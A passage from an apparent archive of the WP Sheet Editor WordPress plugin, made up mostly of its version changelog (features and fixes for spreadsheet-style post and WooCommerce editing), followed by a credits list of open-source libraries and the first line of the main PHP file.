it's just we can't see what is selected. I'm sure a simple CSS tweak would fix this. If/when you release an update to fix this, please let me know at peter@80000hours.org * CHANGE - CORE - Improve the freezing of columns * CHANGE - CORE - Improve the productivity while sorting columns * CHANGE - WC Coupons - Remove duplicate columns * CHANGE - WC Products - Improve performance of the default attributes column * CHANGE - FORMULAS - Improve productivity for executing some edits * CHANGE - COLUMNS MANAGER - Improve the toolbar item * CHANGE - EXPORT - Improve the toolbar item * FIX - WC Products - Sometimes the post type and parent columns aren't saved * FIX - WC Products - Import - new images are not saved when using the option "skip broken images" * FIX - WC Products - Error when copying more than 100 variations * FIX - FORMULAS - Sometimes columns can't be copied * FIX - COLUMNS MANAGER - If we specify column formatting manually, don't overwrite it during automatic detection * FIX - CORE - Sometimes deleted columns also deleted similar columns by mistake * FIX - CORE - Sometimes the save popup gets stuck * FIX - WC Products - When converting a product into variation, the attributes are not migrated sometimes = V 2.19.0 - 2020-04-20 = * NEW - COLUMNS MANAGER - Improve the handling of columns between users * NEW - WC Products - Improve the handling of custom attributes * CHANGE - Small tweak to the display of advanced settings toolbar * CHANGE - WC Products - Keyword search by sku should allow partial matches * CHANGE - CORE - Prevent data errors during imports * CHANGE - WC Products - Import - Prevent attribute data errors * CHANGE - CORE - Prevent memory issues * CHANGE - UNIVERSAL SHEET - IMPORT - Remove the wp fields that can't be used for searching * CHANGE - FORMULAS - Make the "duplicates" option more flexible * CHANGE - WC Products - Create variations - Improve the context menu performance * CHANGE - IMPORT - Prevent column name errors * CHANGE - CORE - Prevent confusion when the loading of rows is disabled * CHANGE - WC Products - Prevent errors when using tools with missing data * CHANGE - COLUMNS MANAGER - Improve the productivity when managing columns * CHANGE - CORE - Optimized performance when we have thousands of columns * CHANGE - WC COUPONS - Facilitate the selection of coupon prefix while duplicating * CHANGE - WC Products - Improve the selection of products for creating variations * CHANGE - CORE - Facilitate the removal of many columns * CHANGE - WC COUPONS - Don't duplicate some fields * CHANGE - IMPORT - Prevent unnecessary stops * CHANGE - WC COUPONS - Make the edition of product restrictions more flexible * CHANGE - WC Coupons - Improve the display of usage limit columns * FIX - WC Products - The attributes column appear as text column * FIX - EXPORT - Fatal error when using the "decode quotes" option * FIX - Ajax Loops - Avoid sending too many fields in a request * FIX - WC Products - The "display variations" switch doesn't work sometimes * FIX - FORMULAS - Fatal error when applying bulk edit on an infinitely serialized column * FIX - CORE - Advanced settings modal doesn't save some options * FIX - CORE - The pagination options don't appear when we are in the middle of the spreadsheet and we reach the bottom * FIX - CORE - Bulk Edit - Empty checkboxes are ignored * FIX - CORE - Search - Empty checkboxes are ignored * FIX - CORE - TinyMCE popup sometimes skips rows when using the navigation * FIX - WC Products - Sometimes the bulk edit of "product attributes" settings fails * FIX - COLUMNS MANAGER - Sometimes some columns don't appear in the list * FIX - COLUMNS MANAGER - Sometimes text cell have date formatting * FIX - CORE - Non-hierarchical taxonomy terms should not have hierarchy * FIX - CORE -Parent name is wrongly encoded sometimes * FIX - WC Products - WPML - Sometimes variations are created and they're invisible * FIX - CUSTOM COLUMNS - Prevent data compatibility errors * FIX - WC Products - Searching by variation attributes is not working * FIX - CORE - Sometimes columns can't be enabled * FIX - WC Coupons - Expiration date wasn't saved sometimes * FIX - WC Products - Sometimes some columns are saved but new values don't appear in the frontend * FIX - CORE - Sometimes the columns manager can't save changes = V 2.18.1 - 2020-03-17 = * CHANGE - Small tweak to the display of advanced settings toolbar * CHANGE - WC Products - Keyword search by sku should allow partial matches = V 2.18.0 - 2020-03-16 = * NEW - CORE - Integrate with Elementor * NEW - ADVANCED FILTERS - Allow OR operators * NEW - FILTERS - Allow to save searches * NEW - COLUMNS - Improve the columns formatting * NEW - COLUMNS VISIBILITY - Allow to save groups * NEW - CORE - Improve the pagination * NEW - Add support for wpml * CHANGE - COLUMNS LOCATOR - Include field key in the search * CHANGE - ACF - Improve the support for repeater fields * CHANGE - ACF - Improve the detection of field group location parameters * CHANGE - ACF - Allow to rename fields * CHANGE - CORE - Improve the handling of full screen mode * CHANGE - CORE - Don't delete the manually created columns when the plugin is uninstalled * CHANGE - CORE - Improve the saving UI * CHANGE - WC Products - Improve the experience for editing downloadable files * CHANGE - FILTERS - Taxonomies field: If there are too many product attributes, don't show all the names * CHANGE - CORE - Improve the support for columns with autocomplete type in the search and bulk edit tools * CHANGE - WC Products - Improve the support for creating large numbers of variations * CHANGE - EXPORT - Improve the support for MS Excel * CHANGE - CORE - Allow to search by ID in all the dropdowns * CHANGE - COLUMNS - Improve the automatic format detection * CHANGE - CORE - Improve the advanced settings interface * CHANGE - WC Products - Notify when rare SKU errors happen * FIX - CUSTOM COLUMNS - Edit meta key - don't send ajax call unnecessarily * FIX - CORE - When we open the tinymce editor and the cell has a value with line breaks, the visual editor removes the line breaks * FIX - Posts table - The quick access button is duplicated when using multiple wpse plugins * FIX - EXPORT - The download URL breaks when the site uses https for backend and http for frontend * FIX - IMPORT - Columns with numbers in the names are not mapped automatically * FIX - COLUMNS VISIBILITY - Improve the deactivation of columns to avoid edge cases where some columns were not deactivated * FIX - WC Products - Improve the bulk edit support of the "variations enabled" column * FIX - Columns created manually sometimes don't appear * FIX - WC Products - Improve the process of copying variations * FIX - FILTERS - Column locator doesn't work sometimes. * FIX - ACF - The code for the dates columns interferes with date columns not coming from ACF * FIX - ADVANCED FILTERS - Sometimes the searches with empty values don't work = V 2.17.0 - 2020-02-19 = * NEW - FORMULAS - Allow to apply same bulk edit to multiple fields at once * NEW - FORMULAS - Allow to select individual rows with a checkbox and apply the bulk edit to those rows * NEW - CORE - Add support for custom post statuses * NEW - WC Products - Free - Allow to edit variation rows * NEW - GIVEWP - Added spreadsheet for editing/viewing donations * CHANGE - WC Coupons - FILTERS - When using the expiration date field, show a calendar to select dates easily without having to worry about the format * CHANGE - WC Coupons - Allow to save "allow products" as IDs separated by commas * CHANGE - WC Coupons - Allow to save "excluded products" as IDs separated by commas * CHANGE - WC Coupons - FORMULAS - When using the expiration date field, show a calendar to select dates easily without having to worry about the format * CHANGE - CORE - Allow to disable the cell comments * CHANGE - CORE - Allow to save taxonomy columns using a term slug * CHANGE - CORE - Load author cells with ajax * CHANGE - CORE - Reduce the memory usage when loading the spreadsheet page by reducing all the unnecessary output * CHANGE - FORMULAS - Show one text progress instead of one per batch to avoid crashing the browser when executing bulk edits with thousands of batches * CHANGE - UNIVERSAL SHEET - Export - Prevent errors if they are using a high batch size * CHANGE - UNIVERSAL SHEET - Export - Allow to control the export speed in the advanced settings * CHANGE - WC Products - Lock the price columns for parent product rows to prevent confusion because the prices are stored in the variations * CHANGE - CORE - Add cell comment to hierarchical taxonomy columns to indicate the format for child categories * CHANGE - CORE - When we save images on any field while editing a post type, automatically attach the image to the post if the image is unattached * CHANGE - FORMULAS - Don't show the tip about increasing speed if the bulk edit is applied on one batch * CHANGE - CORE - Allow to save a file name in the image columns and automatically save the first image from the media library matching the name * CHANGE - CORE - External button cells - Don't show a button when the value is empty * CHANGE - CORE - FREE - Allow to edit custom post types with limited fields * CHANGE - CORE - FREE - Remove formulas teaser from the toolbar and just link to it from the paragraph teaser * CHANGE - CORE - FREE - Disable the post types teaser from the toolbar because the post types can be edited in the free version now * CHANGE - CORE - FREE - Add a global teaser as paragraph in the header to better indicate the limitations and what's premium * CHANGE - YOAST FREE - Add a welcome page * CHANGE - CORE - Sort the list of spreadsheets in the form to display the available first, free extension second, and paid extensions finally * FIX - WC Products - When we edit global attributes in separate columns, it removes the attribute position * FIX - CUSTOM POST TYPES - Some post types added by other plugins appear locked * FIX - CORE - When changing the post type of a post, from page to another, clear the page template meta key to prevent the "invalid page template" error thrown by wp core * FIX - WC Products - Import - The auto mapping of csv columns is mapping only the first 9 download files and the rest are not being imported * FIX - WC Products - Import - The auto mapping of csv columns is mapping only the first 9 attributes and the rest are not being imported * FIX - CORE - When using multiple free plugins, sometimes the upgrade links get mixed up and one plugin shows the upgrade url of the other causing incorrect purchases * FIX - FILTERS - The "clear all filters" option removes the display variations filter, but the button in the toolbar appears as activated * FIX - FILTERS - When we make a search with an advanced filter, remove the filter, and make a search using the same input field, it doesn't apply the new search * FIX - POSTS TEMPLATES - When we duplicate a serialized field, it is saved as a literal string incorrectly * FIX - WC Products - Sometimes the "search on variations" filter wasn't added or removed when it should * FIX - FILTERS - When we unchecked a checkbox and submit the form, it didn't remove the filter * FIX - ACF - Repeater fields are saved correctly but the values are ignored by ACF = V 2.16.0 - 2020-01-13 = * NEW - CORE - Add option to "settings" menu to reset all settings * NEW - FORMULAS - Add variable $current_value_capitalize_each_word$ and option "Capitalize each word" to the "type of edit" list * NEW - FORMULAS - Added variable tags: $uuid$, $uniqid$, $current_value_lowercase$ * NEW - FILTERS - Add "Remove all" option to remove all active filters * NEW - UNIVERSAL SHEET - EXPORT - Allow to save the export with a name and show as dropdown in the toolbar to execute with one click in the future * NEW - CUSTOM COLUMNS - Add context menu option to rename meta key of meta columns * NEW - CUSTOM COLUMNS - Add option to delete custom field from database (full field, including key and values) * NEW - CORE - Allow to delete rows using the context menu and delete the selected items * NEW - CORE - Add option to scan DB to the settings dropdown to make it easier to find * CHANGE - WC Products - When we convert a product into a variation and the product has a status not supported by variations, automatically change it to "enabled variation" * CHANGE - CORE - Indicate in import modal that changes are saved directly * CHANGE - SEARCH - When we click to open the search tool and there are modified cells, notify that they should save first * CHANGE - FORMULAS - Modify the progress text to indicate that the numbers reflect updates per batch * CHANGE - CORE - Allow to select in the advanced settings which fields use the new serialization handler * CHANGE - WC Products - Added support for Subscription products * CHANGE - CORE - Performance optimizations: The "post parent" column should not load all the titles, it should be a dropdown with ajax search * CHANGE - CORE - Performance optimizations: Limit the usage of meta keys to 2500 columns, no one needs to search/edit more than 2500 keys and sites with +10000 meta keys are super slow * CHANGE - ADVANCED SEARCH - Performance optimizations: Limit the meta keys to 1000 options in the search dropdowns. * CHANGE - WC Products - Performance optimizations: Limit the variation meta keys to 1000 columns * CHANGE - CORE - Performance optimizations: When we rescan DB to find new columns, only scan once per page load * CHANGE - CORE - Return the full SQL query as meta data of the ajax call when loading rows to help during tech support/debugging, do this only for administrator * CHANGE - WC Products - Allow to load variation rows for products with a custom product type (i.e. registration products) * CHANGE - FREE YOAST - Display a wp-admin notice indicating why it was deactivated automatically when using a premium plugin * CHANGE - UNIVERSAL SHEET - IMPORT - Don't let the user continue in step 3 if they selected a column that is not being imported * CHANGE - FORMULAS - MATH - Automatically round number to the 2 nearest decimals * FIX - FORMULAS - When the post has orphan meta, the success message might say it updated more posts than the total causing confusion ("559 of 559 items have been processed. 606 items have been updated") * FIX - CORE - The post modified date is not being saved when edited in the cells * FIX - WC Products - Free version - When we edit prices, sometimes it doesn't show it on the frontend * FIX - WC Products - Free version - Sync price, sku, and stock changes with the lookup table introduced with WC +3.6 * FIX - ADVANCED FILTERS - The "exclude keyword" option is not returning the correct posts * FIX - WC Products - When searching by "search on variations" and leaving all the other fields empty, it doesn't return results * FIX - WC Products - Import - Some fields appear duplicated in the dropdown for mapping the columns so they are imported through Sheet Editor CORE instead of using the WooCommerce API causing duplicate sku issues * FIX - CORE - When we freeze a column, it freezes the wrong column * FIX - WC Coupons - Compatibility issue with the "Ordered Variable Product Report" plugin * FIX - CORE - Sometimes cells are misaligned = V 2.15.4 - 2019-11-24 = * FIX - WC Products - If variations of the same product have the same menu order, it only saves one of them * FIX - CORE - When using a free plugin and a premium plugin, don't initialize unsupported modules when using the free spreadsheet to prevent major issues * FIX - CORE - the gutenberg editor can't be opened when a post title contains double quotes = V 2.15.3 - 2019-11-18 = * CHANGE - CORE - blacklist columns with keys containing -wpfoof- * CHANGE - ACF - Register text columns from the ACF module instead of relying on the "custom columns" module * CHANGE - CORE - When changing the settings to load > 300 rows per page, show a notification indicating that it may overload the server * CHANGE - CORE - Prevent errors due to high number of rows per page - If the user defines rows per page >= 100 and it fails, automatically reset to 10 and retry * CHANGE - CORE - Add advanced option to delete attached images when we delete a post * CHANGE - IMPORT - identify when a file is uploaded for import if we're unable to detect the csv separator and show the solution to the user * CHANGE - CORE - When saving an external image into the media library, save the external URL and reuse the local image on future saves/imports to avoid duplicating the images on every import * CHANGE - CUSTOM COLUMNS - Add support for serialized fields with unlimited levels deep * CHANGE - CORE - Make the Columns Manager wider to have space for columns with long names * CHANGE - CORE - Columns manager - When hovering over the name of disabled columns, it doesn't show the name of the column * CHANGE - CORE - COLUMNS MANAGER - Don't show columns that can't be disabled * CHANGE - WC Products - When a variable product is imported, automatically select a default attribute if the default is missing otherwise WC won't create the variations * CHANGE - CORE - Updated styles of the toolbar * CHANGE - CORE - Fix the 2 toolbars during scroll, not just the main toolbar * CHANGE - CORE - Increased columns limit from 310 to 410 to prevent good columns from not showing up * CHANGE - CORE - COLUMNS VISIBILITY - When we rescan, automatically increase the limit, so they can rescan until the missing column shows up * CHANGE - CORE - Blacklist columns that contain a word with +26 characters because they usually are system/private columns that shouldn't be seen nor edited * CHANGE - WC Products > ADVANCED FILTERS - Allow to search by variation and use advanced filters by taxonomy applied to parent products * CHANGE - CORE - Indicate how to increase number of rows per page in the footer of the sheet * CHANGE - CORE - Highlight row that we're editing * FIX - CUSTOM POST TYPES - It doesn't register, save, or delete new post types * FIX - WC Products - Disable post actions when copying/creating variations to prevent conflicts with divi-bodycommerce plugin * FIX - ACF - When we edit fields, save the private _xx meta data with the ACF key required by ACF * FIX - ACF - Checkbox columns aren't saving correctly * FIX - COLUMNS VISIBILITY - When we blacklist a column, it keeps showing on the deactivated list * FIX - WC Products - Create variations from combination of attributes - Increase limit from 50 to 200 * FIX - WC Products - php warning when calculating inventory stats when hosts disable the ORDER BY from sql queries * FIX - WC Coupons - The "used by" column shows one user only * FIX - CORE - Sometimes the fixed header jumps/shakes during scroll * FIX - CORE - COLUMNS VISIBILITY - when we scroll to the right, the notification saying "column missing?" is not showing up * FIX - WC Products - When saving variations, sometimes there are validations errors and they're not shown to the user * FIX - WC Products - Sometimes variation images are not saving and causing it to not save other variation data * FIX - WC Products - Search > Advanced filters - When searching on variations by attribute it returned zero results * FIX - UNIVERSAL SHEET - Sometimes the export file has duplicate rows * FIX - CORE - When many posts have exact same date, sometimes the database returns duplicate posts during pagination because they are sorted by date * FIX - CORE - When saving taxonomy terms that contain + and there is a term with same name except +, the term with + is saved without + * FIX - WC Products - "Edit Attributes" column - sometimes it doesn't save new custom attributes * FIX - CORE - When we show 2 consecutive notifications of different type (success and info), they appear one on top of another * FIX - WC Products - Export - The "attribute : is taxonomy" column shows the "attribute : visible" value by mistake, which breaks the attribute import = V 2.15.1.2 - 2019-10-18 = * CHANGE - CORE - Allow to define default settings for product attributes (is visible, used for variations) * CHANGE - CORE - View Post column should use the real link for published posts * CHANGE - CORE - Automatic column detection should take the columns limit into consideration (i.e. to avoid scanning thousands of fields if only 100 are allowed) * CHANGE - WC Products - IMPORT - Allow to skip broken images and don't stop the import * FIX - CORE - Factory - On rare occasions, the taxonomies sheet shows columns as a post type * FIX - CORE - Factory - Some columns were missing because the sheet initialized twice * FIX - FORMULAS - Allow to replace empty value with empty value * FIX - WC PRODUCTS - Clear the cache when the column _thumbnail_id is edited * FIX - FORMULAS - it doesn't work when editing image cells * FIX - WC Products - Downloadable files - When editing as plain text in the cell, it saves the files with the wrong format * FIX - UNIVERSAL SHEET - IMPORT - JS error when a column name contains only numbers = V 2.15.0 - 2019-10-01 = * NEW - FORMULAS - Add placeholder: $random_date$ * NEW - WC Products - copy variations - Add option to copy individual variations * NEW - WC Products - Allow editing the "download files" column as plain text * NEW - WC Products - Allow copy pasting the "download files" column * NEW - ACF - Add support for "file" fields * NEW - POSTS TEMPLATES - Add "duplicate" option to the context menu to quickly duplicate rows * NEW - CORE - Add contextual option to auto resize columns based on the content * NEW - WC Products > Bulk Edit - Allow to activate/deactivate "is visible" for product attributes on all products at once * NEW - WC Products > Bulk Edit - Allow to activate/deactivate "is variation" for product attributes on all products at once * NEW - CORE - Added spanish translations * NEW - WC Products - Add contextual menu to create variations for selected row, which opens the create variations modal and auto selects the product * NEW - WC Products - Add contextual menu to copy variations from the selected row, which opens themodal and auto selects the product * NEW - ACF - Add support for gallery field * NEW - FILTERS - Add option to locate column * NEW - CORE - Add contextual option: realign cells * NEW - UNIVERSAL SHEET - IMPORT - Add advanced setting to skip the first N rows, so we can start imports from where we left off * NEW - WC Products - Add "All" option to the dropdown global attributes columns, which automatically selects all the options in the dropdown while saving * NEW - WC Products - Allow to edit the parent product of variations * NEW - WC Products - Add the "product_variation" option to the post types column to convert any product into a variation * CHANGE - CSV Import - Optimize the reading of CSV files to use less memory and read huge files * CHANGE - CUSTOM COLUMNS - Allow spaces and () in the automatic column names * CHANGE - WC Products - Free - Enable columns: 'view_post', 'open_wp_editor', 'post_status', 'post_modified', 'post_date', '_length', '_height', '_width', '_weight', * CHANGE - CORE - When saving images from external URLs, limit the download time to 4 seconds to prevent timeouts when external servers are too slow, throttle, or block our requests * CHANGE - FORMULAS - Don't reduce the calls after every batch, do the same number of batches as initial defined because sometimes it only processed half the rows * CHANGE - WC Products - Indicate why some cells are locked (i.e. columns for variations only or parent products only) * CHANGE - CORE - Add links to tutorials/faqs in all the popups and pages * CHANGE - UNIVERSAL SHEET - IMPORT - STEP 3 - Indicate that fields used for updating existing items must be imported in step 2 * CHANGE - UNIVERSAL SHEET - Upload csv - Detect when the file was uploaded successfully but it wasn't read, and show a notification saying that it wasn't read due to an encoding issue and ask them to verify that * CHANGE - UNIVERSAL SHEET - When import fails, indicate possible solutions * CHANGE - UNIVERSAL SHEET - IMPORT - When there is a data error and the import stops, indicate that the import was stopped and they need to correct the error and import again * CHANGE - FORMULAS - Allow multi-line values in the bulk edits (set value, replace, etc.) * CHANGE - CORE - Revert styles change of locked cells to experiment performance with/without the change * Poner textos en español en el readme.txt de todos los plugins con frases comunes de búsqueda * CHANGE - CORE - Free - make the pro columns more subtle, highlight the cell value * CHANGE - CORE - Show "menu order" column for all post types because some post types use it for unorthodox purposes * CHANGE - SPREADSHEET SETUP - Don't allow to save new custom post types when the custom post types module is not available * CHANGE - CORE - Added internal cache of conversion from friendly terms to IDs to speed up imports and savings * CHANGE - CORE - Added internal cache of conversion from file URLs to file IDs to speed up imports and savings * CHANGE - UNIVERSAL SHEET - Delete old csvs when the sheet loads because the cron job doesn't run on rare server setups * CHANGE - WC Products - When we add attributes and at least one is "allow for variations", automatically set the product as variable * CHANGE - POSTS TEMPLATE - when duplicating posts, don't copy the post date, so the new posts have new dates * CHANGE. UNIVERSAL SHEET. deactivate the rest api by default and add option to settings page to activate manually and add wp filter to activate programmatically * CHANGE - UNIVERSAL SHEET - IMPORT - Add advanced option to auto retry failed batches * CHANGE - UNIVERSAL SHEET - EXPORT - Add indications at the end of the process to answer questions like download didn't start, where to find the file, when are the files deleted. * CHANGE - UNIVERSAL SHEET - EXPORT - Optimize the download of large files to use less memory and start faster * FIX - CORE - Allow saving images with spaces in the URL on the gallery columns * FIX - CORE - Allow saving images from the /wp-content/uploads directory * FIX - FILTERS - Keyword search should search on post title, content, and excerpt * FIX - CORE - When importing terms with hierarchy, don't html encode the hierarchy symbol * FIX - CORE - Media columns - don't attempt to show preview of files that aren't images * FIX - CUSTOM COLUMNS - Post types list doesn't show sheets created with the Factory class * FIX - WC Products > variations - When the "variation enabled" checkbox goes from unchecked to checked, it's not saved * FIX - COLUMNS VISIBILITY - The list of disabled columns didn't show the current name of the columns, it showed the name the columns had when they were deactivated the first time * FIX - CORE - Image cells - Allow to save images containing portuguese characters like "ção" * FIX - WC Products - issue during cache clean up after saving when using WC copy variations - When saving meta data in the copied variations, unserialize to prevent double serialization from WP * FIX - WC Products - Export - Some columns were excluded from the export, when it was a custom field used by variations * FIX - WC Products - EXPORT - Some column headers when exporting attributes are missing because the first line of the file is not read properly * FIX - CORE - SERIALIZED FIELDS - When the field contains a single level and subfields have integers as keys, it only shows the value of the first subfield in the cells and the other subfields appear empty * FIX - WC Products - The internal caches of WC aren't cleared after saving, causing changes not to appear when sites use aggressive cache like wp.com * FIX - WC Products - when we edit global attributes in their own columns and change product type from simple to variable at the same time, automatically set the attribute as "used in variation" * FIX - WC Products > create variations > create for every combination of attributes - PHP warning * FIX - WC Products - When we delete a product completely, we remove the parent row but we should remove the child variation rows as well * FIX - CORE - VIEW column has wrong link when viewing custom post types as draft * FIX - GiveWP - It crashes the site if GiveWP is not installed * FIX. CORE. delete all traces of the plugin on uninstall ------ V 2.14.0 - 2019-09-06 ------ NEW - ACF - Add support for gallery field NEW - CORE - Add contextual option: realign cells to fix rare scenarios when cell borders don't match NEW - FILTERS - Add option to locate column to save time when searching for a column in the sheet. NEW - UNIVERSAL SHEET - IMPORT - Add advanced setting to skip the first N rows, so we can start imports from where we left off NEW - WC Products - Add "All" option to the dropdown of global attributes columns, which automatically selects all the options in the dropdown while saving NEW - WC Products - Add contextual menu to copy variations from the selected row, which opens the modal and auto-selects the product NEW - WC Products - Add contextual menu to create variations for the selected row, which opens the create variations modal and auto-selects the product NEW - WC Products - Add the "product_variation" option to the post types column to convert any product into a variation NEW - WC Products - Allow to edit the parent product of variations CHANGE - CORE - Added internal cache of conversion from file URLs to file IDs to speed up imports and savings CHANGE - CORE - Added internal cache of conversion from friendly terms to IDs to speed up imports and savings CHANGE - CORE - Free - make the pro columns more subtle, highlight the cell value CHANGE - CORE - Show "menu order" column for all post types because some post types use it for unorthodox purposes CHANGE - CSV Import - Optimize the reading of CSV files to use less memory and read huge files faster CHANGE - POSTS TEMPLATE - when duplicating posts, don't copy the post date, so the new posts have new dates CHANGE - SPREADSHEET SETUP - Don't allow to save new custom post types when the custom post types module is not available CHANGE - UNIVERSAL SHEET - Delete old csvs when the sheet loads because the cron job doesn't run on rare server setups CHANGE - UNIVERSAL SHEET - EXPORT - Add indications at the end of the process to answer questions like download didn't start, where to find the file, when are the files deleted. CHANGE - UNIVERSAL SHEET - EXPORT - Optimize the download of large files to use less memory and start faster CHANGE - UNIVERSAL SHEET - IMPORT - Add an advanced option to auto-retry failed batches CHANGE - WC Products - Free - Enable columns: 'view_post', 'open_wp_editor', 'post_status', 'post_modified', 'post_date', '_length', '_height', '_width', '_weight', CHANGE - WC Products - When we add attributes and at least one is "allow for variations", automatically set the product as variable CHANGE. UNIVERSAL SHEET. deactivate the rest api by default and add option to settings page to activate manually to avoid compatibility issues with other REST API configurations or external apps. FIX - CORE - SERIALIZED FIELDS - When the field contains a single level and subfields have integers as keys, it only shows the value of the first subfield in the cells and the other subfields appear empty FIX - CORE - VIEW column has the wrong link when viewing custom post types as a draft FIX - FORMULAS - When deleting thousands of rows completely, it only deletes half FIX - WC Products - EXPORT - Some column headers when exporting attributes are missing because the first line of the file is not read properly FIX - WC Products - Export - Some columns were excluded from the export when it was a custom field used by variations FIX - WC Products - Import - Remove the & symbol from the SKU before saving. WC returns a duplicate SKU error when it's not duplicate. FIX - WC Products - The internal caches of WC aren't cleared after saving, causing changes not to appear when sites use aggressive cache like wp.com FIX - WC Products - When we delete a product completely, we remove the parent row but we should remove the child variation rows as well FIX - WC Products - when we edit global attributes in their own columns and change product type from simple to variable at the same time, automatically set the attribute as "used in variation" FIX - WC Products > copy variations - When saving meta data in the copied variations, unserialize to prevent double serialization from WP FIX - WC Products > create variations > create for every combination of attributes - PHP warning FIX. CORE. delete all traces of the plugin on uninstall ------ V 2.13.1 - 2019-08-11 ------ CHANGE - CORE - Make the fancy taxonomy dropdown opt-in as many people prefer the old dropdown to be able to copy paste FIX - CUSTOM COLUMNS LITE - Sometimes meta columns were allowed but they were still locked by mistake FIX - CORE - Fatal error on REST API endpoints, which breaks the normal post editor FIX - CORE - Taxonomy terms can't be updated ------ V 2.13.0 - 2019-08-08 ------ NEW - CORE - Freeze column titles at the top when scrolling down NEW - ADVANCED FILTERS - Add "Length >" and "Length <" operators NEW - ADVANCED FILTERS - Add "ends with" operator NEW - ADVANCED FILTERS - Add "regex" operator NEW - ADVANCED FILTERS - Add "starts with" operator NEW - CORE - Fancy multiselect dropdown with autocomplete for taxonomy columns (Added option to settings page to revert to the old type of cell) NEW - FILTERS - Accept custom search parameters in the wpse_custom_filters query string NEW - FORMULAS - Allow to append files for gallery columns NEW - FORMULAS - Allow to prepend files for gallery columns NEW - WC Products - Add "edit in spreadsheet" shortcut to the variations list in the normal product editor to quickly launch the spreadsheet editor for those specific variations INTERNAL - CORE - Allow to disable the image cell zoom by adding ?wpse_no_zoom to the image URL CHANGE - Wc Products - Allow to rename the "Download files" column CHANGE - Wc Products - Allow to rename the "Variation description" column CHANGE - Wc Products - Allow to rename the "Variation enabled?" column CHANGE - Wc Products - Allow to rename the "Default attributes" column CHANGE - Bulk Edit - When a batch failed and we chose to retry, don't show the server error message CHANGE - CORE - Add tip about the taxonomies spreadsheets CHANGE - CORE - Automatically update the .pot file for all plugins during the build process for every release CHANGE - CORE - Cache the list of taxonomy terms used for cell dropdowns to improve speed on big sites, clear cache when a term is added or the term name, parent, or taxonomy is updated CHANGE - CORE - Fix the top bar when we scroll right CHANGE - CORE - If the page is RTL, force english as language on the sheet page because the sheet doesn't support RTL CHANGE - CORE - Improved the loading of rows. Loading 200 rows takes 40 seconds less. CHANGE - CORE - Save - When a batch failed and we chose to retry, don't show the server error message CHANGE - CUSTOM POST TYPES - Exclude the post types that have their own spreadsheet to prevent errors CHANGE - FORMULAS - After successful execution, if there aren't unsaved changes in the sheet, reload the sheet automatically to show the bulk edits CHANGE - FORMULAS - when the popup closes. go back to step 1 CHANGE - IMPORT - Add an "Unselect all" option above columns mapping CHANGE - UNIVERSAL SHEET - IMPORT - After closing the popup from a successful import, auto-reload the sheet if there aren't unsaved changes CHANGE - WC Products > copy variations - The progress log becomes too long CHANGE - YOAST - Load the primary category dropdown via ajax to make the sheet load faster CHANGE- CORE - Moved all the media library code to a separate spreadsheet plugin FIX - CORE - Clear the object cache automatically when the data source changes (i.e. when categories are added or created) to prevent issues with persistent object cache setups FIX - CORE - It doesn't load more rows when we scroll to the bottom FIX - CORE - The sheet doesn't save changes if the post IDs are too high (i.e. 999988878978) FIX - CORE - make it work with the classic editor plugin (our compatibility broke with the recent update of the classic editor) FIX - FORMULAS - When editing a taxonomy column using append/prepend, use the taxonomy term separator from the settings page FIX - WC Products - Bulk Edit tool doesn't show the "Default attributes" column FIX - WC Products - Bulk Edit tool doesn't show the "downloadable files" column FIX - WC Products - Bulk Edit tool doesn't show the "product attributes" column FIX - WC Products - When creating new rows in the spreadsheet, create it with draft status FIX - WC Products - When editing multiple attribute taxonomies for the same product in the cells, it only attaches to the product the last taxonomy edited FIX - WC Products - When publishing drafts, automatically generate the URL slug FIX - WC Products - When saving multiple gallery images, it saves them as URLs instead of IDs FIX - WC Products > copy variations - it allows to submit without accepting the "I understand..." checkbox FIX - CORE - It doesn't save the menu order column ------ V 2.12.0 - 2019-07-01 ------ NEW - CORE - Add "share" tool to faciliate user collaboration NEW - CORE - Add the option to select the user roles who can access our spreadsheet. NEW - CORE - Added option to deactivate the data prefetch NEW - CORE - Allow to disable the meta data scan programmatically NEW - CORE - allow to rename columns using contextual menu NEW - CORE - Allow to rename columns using the columns visibility popup NEW - MEDIA - Add column showing the parent post title as readonly NEW - UNIVERSAL SHEET - EXPORT - Added option to add CSV compatibility with excel NEW - UNIVERSAL SHEET - EXPORT - Added option to select all active columns NEW - WC Products - Allow to edit custom fields on variation rows CHANGE - CORE - When a toolbar is disabled, automatically stop rendering the related popup content CHANGE - MEDIA - Remove the "add new" tool CHANGE - USERS - If the current user can edit, the default query shouldn't have the role__in query parameter, it should load all roles CHANGE - WC Products - Import - Automatically map the "meta: " columns CHANGE - WC Products - Import - When there is an error, indicate the row that contains the error FIX - CORE - Disable wpautop when using gutenberg because it breaks the block markup FIX - FILTERS - Search by author doesn't work (the author dropdown has wrong user ids) FIX - FORMULAS - The column placeholders don't work for columns that use the get_value callback FIX - GLOBAL - Sometimes when we use the free plugin and activate the premium plugin, the license activation screen doesn't appear and the user doesn't know how to activate it FIX - MEDIA - fix the preview column to show the thumbnail and large image on hover FIX - UNIVERSAL SHEET - CSV reading - It doesn't work when "fopen(): data:// wrapper" is disabled in the server FIX - UNIVERSAL SHEET - Export - It fails when column headers count doesn't match the column values count in a row FIX - UNIVERSAL SHEET - EXPORT - It links directly to the CSV file which just displays the content instead of downloading it FIX - UNIVERSAL SHEET - IMPORT - CSVs that contain " can't be read FIX - WC Products - Export - The columns coming from the WC CORE api are duplicated starting from batch 2 FIX - WC Products - Import - Optimize the auto mapping of columns to avoid using too much memory when we have too many columns FIX - WC Products - Import - Sometimes we end up with ghost products created by WC Core, auto delete them FIX - WC Products - Import - The "Import as meta" option in the columns mapping wasn't working [See full changelog.](https://wpsheeteditor.com/changelog/?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-changelog)credits.txt000064400000002034147600365160006751 0ustar00This plugin uses the following open source packages: - jquery-labelauty by fntneves. License: https://github.com/fntneves/jquery-labelauty/blob/master/License.md - ohSnap by justindomingue. License: https://github.com/justindomingue/ohSnap/blob/master/LICENSE.md - Handsontable. License: https://github.com/handsontable/handsontable/blob/master/LICENSE - jqueryte. License: https://github.com/gauravspatel/jqueryte/blob/master/LICENSE - Remodal.js License: https://github.com/VodkaBears/Remodal/blob/master/LICENSE - font-awesome by FortAwesome/Font-Awesome License: http://fontawesome.io/license/ - jQuery License: https://github.com/jquery/jquery/blob/master/LICENSE.txt - moment.js License: https://github.com/moment/moment/blob/develop/LICENSE - nanobar by jacoborus/nanobar License: https://github.com/jacoborus/nanobar/blob/master/LICENSE - select2 License: https://github.com/select2/select2/blob/master/LICENSE.md Thank you so much to the authors of those packages for releasing them as open source.wp-sheet-editor.php000064400000020440147600365160010305 0ustar00set_basename(true, __FILE__); } if 